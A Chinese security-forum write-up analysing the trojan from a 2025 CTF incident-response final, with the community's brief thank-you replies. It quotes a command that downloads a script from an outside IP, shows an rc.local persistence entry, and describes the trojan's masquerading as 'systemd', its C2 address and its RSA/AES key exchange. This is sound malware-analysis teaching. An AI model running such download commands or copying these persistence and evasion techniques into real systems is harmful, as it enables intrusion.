[原创]2025长城杯决赛应急响应木马分析-CTF对抗-看雪安全社区

## 前言
赛时把整个系统几乎翻了个遍，其实是看到了关键点的，但是没有进一步去分析，很可惜，赛后听朋友说木马文件叫whoami，才想起来之前翻到过的`rc.local`里的`whoami`。趁着今天晚上有空就去分析了一下这个木马，感觉难度不是很大，这里分享一下我的分析过程

## 分析
在`/var/ftp/ftp.sh`中可以看到一条可疑的命令，但是翻了半天也没能找到这个文件，日志也没有什么有用的信息，不知道这个sh到底做了什么，那也就只能按部就班的排查了
```shell
curl -o 1.sh http://101.212.77.123:8080/1.sh
```

在`/etc/rc.local`和`/etc/rc.d/rc.local`中都可以看到如下代码
> 在 Linux 中，/etc/rc.local 文件用于在系统启动的最后阶段执行用户自定义的命令。通常用于启动一些需要在系统完全启动后运行的自定义服务或脚本
```shell
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.

touch /var/lock/subsys/local
whoami
```

这个whoami就是被替换掉的木马文件，接下来对他进行逆向分析

字符串的解密为rc4算法，key取6位，即`BIO_wr`
 ![图片描述](upload/attach/202505/958990_B24PCKSXEW5WY9G.webp)

木马程序先是fork创建了一个子进程，执行了`/bin/nms`下的`nms`，这里没有对应的文件，就不分析他的行为了
 ![图片描述](upload/attach/202505/958990_2RN6C6R4KKSV38X.webp)

父进程将标准输出和错误重定向到`/dev/null`以隐藏所有输出，然后创建一个锁文件`/tmp/systemd.lock`，再调用prctl将进程名改为`systemd`伪装成系统服务，最后等待子进程结束
 ![图片描述](upload/attach/202505/958990_WTSP3SJ5VVJF2ZU.webp)

再创建一个子进程
 ![图片描述](upload/attach/202505/958990_BKJ288QVF65CPD4.webp)

`sub_403F72`尝试获取文件的独占锁，确保只有一个实例运行
 ![图片描述](upload/attach/202505/958990_B8M5QTN4E99PXFN.webp)

`sub_403F08`创建守护进程
 ![图片描述](upload/attach/202505/958990_6BXTEJ3QMTUKDE5.webp)

接下来`sub_403867`就是主要分析的后门函数了

开头就是常规的socket连接，有一个随机延迟sleep应该是为了逃避检测，这里可以得到第一问的答案了: `flag{md5(101.212.78.52:36543)}`
 ![图片描述](upload/attach/202505/958990_KKA63DJQT3BNK99.webp)

由于是在内网，所以这里可以选择挂个frp穿出来，也可以将ida的linux server传进去来远程调试，以此来拿到服务器返回的数据

接着生成随机32个字节作为后面aes的key，解密了公钥去加密aes key，将加密后的key发送到服务器，然后接收并aes解密消息，判断是否为`connection`，是的话将`close`发送过去，最后判断返回消息是否为`getkey`
 ![图片描述](upload/attach/202505/958990_4EQ6M2SDTTA4E3K.webp)

然后下发RSA的私钥，解密一段硬编码的数据，由于我这里是赛后复现的没有环境，所以没有私钥，无法解密，但是根据后面的分析猜测解密出来的应该是一个AES的key
 ![图片描述](upload/attach/202505/958990_Y58E64WBYY72K42.webp)

解密出来的key会再被加密一次，跟前面加密公钥的是同一个算法，逆序和异或
 ![图片描述](upload/attach/202505/958990_5G8VDUQCAPR26MH.webp)

然后把key传入`sub_4036A1`，接下来就是跟flag相关的算法了
 ![图片描述](upload/attach/202505/958990_EMXS365G2G4ZRMF.webp)

算法随机生成一个flag
 ![图片描述](upload/attach/202505/958990_VEQQ8GYA5X65J3F.webp)

第一次加密
 ![图片描述](upload/attach/202505/958990_DD6GYBYCKCJ3TSZ.webp)

然后AES加密，key就是前面传入的参数
 ![图片描述](upload/attach/202505/958990_WZ2J6Z9U7XC632G.webp)

最终加密
 ![图片描述](upload/attach/202505/958990_878NTTV9WSUQKWK.webp)

最后把加密的数据base64后写到`/var/log/tuned/tun.log`中，`ZW4n7e+/b7iNSxHNhAB+QIWcAkocWT90WdU9qWDoeew=`
 ![图片描述](upload/attach/202505/958990_A22Z8MVY9YX3ZHB.webp)

## 总结
木马的整个流程和flag加密算法的分析大致就是这样了，由于没有私钥没办法解密拿到AES的key，这里也就不做解密的分析了，都是些简单算法相信也难不倒各位师傅哈哈，如果有问题还请指正！

回复或点赞可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

#Reverse

上传的附件：

whoami.zip （8.82kb，24次下载）

最新回复 (30) 1 2 ▶
moshuiD 雪币： 8901 活跃值： (4476) 能力值： (RANK：166 ) 在线值：发帖 9 回帖 35 粉丝 65 关注私信	moshuiD 3 2 楼太棒了，当时我都没找到这个文件 2025-5-8 01:06 0
末日大哥雪币： 1122 活跃值： (2151) 能力值： ( LV3，RANK：30 ) 在线值：发帖 10 回帖 155 粉丝 0 关注私信	末日大哥 3 楼 666学习一下 2025-5-8 19:39 0
mb_aicedybu 雪币： 247 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_aicedybu 4 楼太棒了 2025-5-8 19:47 0
Ring0chaos 雪币： 140 活跃值： (377) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	Ring0chaos 5 楼 6666 2025-5-8 20:38 0
FFM-G 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	FFM-G 6 楼 3 2025-5-9 14:56 0
N1ng~ 雪币： 47 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 1 关注私信	N1ng~ 7 楼太棒了~ 2025-6-4 18:51 0
wx_Kj 雪币： 19 活跃值： (381) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 5 粉丝 0 关注私信	wx_Kj 8 楼太棒了~ 2025-6-5 09:23 0
neoRain 雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	neoRain 9 楼好 2025-6-20 16:07 0
青峰s 雪币： 50 活跃值： (953) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 7 粉丝 0 关注私信	青峰s 10 楼厉害~ 2025-7-21 08:27 0
晴朗哥2024 雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 3 回帖 10 粉丝 0 关注私信	晴朗哥2024 11 楼楼主请私我，有业务合作。 2025-8-21 14:06 0
mb_swdzqzft 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_swdzqzft 12 楼牛的 2025-8-21 14:32 0
badboyl 雪币： 4366 活跃值： (6442) 能力值： ( LV8，RANK：120 ) 在线值：发帖 7 回帖 238 粉丝 35 关注私信	badboyl 2 13 楼看看 2025-9-23 09:25 0
MaYil 雪币： 9408 活跃值： (7977) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 478 粉丝 2 关注私信	MaYil 14 楼感谢分享 2025-9-23 09:44 0
mb_jresmcdc 雪币： 44 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_jresmcdc 15 楼感谢 2025-10-20 01:01 0
useryq 雪币： 2 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 62 粉丝 0 关注私信	useryq 16 楼 1 2025-10-27 20:32 0
阿C想回老家雪币： 157 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 10 粉丝 0 关注私信	阿C想回老家 17 楼感谢分享 2025-11-4 14:31 0
Arikey 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	Arikey 18 楼感谢分享 2025-11-12 16:21 0
Loloniac 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	Loloniac 19 楼感谢分享 2026-1-14 16:31 0
mb_uxyzioxq 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_uxyzioxq 20 楼感谢分享 2026-1-26 01:54 0
Sher1ock 雪币： 980 活跃值： (128) 能力值： ( LV2，RANK：15 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	Sher1ock 21 楼感谢分享 2026-2-11 13:57 0
HexGadget 雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	HexGadget 22 楼感谢分享 2026-2-11 14:23 0
mb_wtskxwnr 雪币： 198 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 27 粉丝 0 关注私信	mb_wtskxwnr 23 楼 666 2026-2-21 15:01 0
ROSE0 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 10 粉丝 0 关注私信	ROSE0 24 楼 666 2026-3-24 19:01 0
mb_qdkmwppj 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	mb_qdkmwppj 25 楼 1 2026-4-3 18:01 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复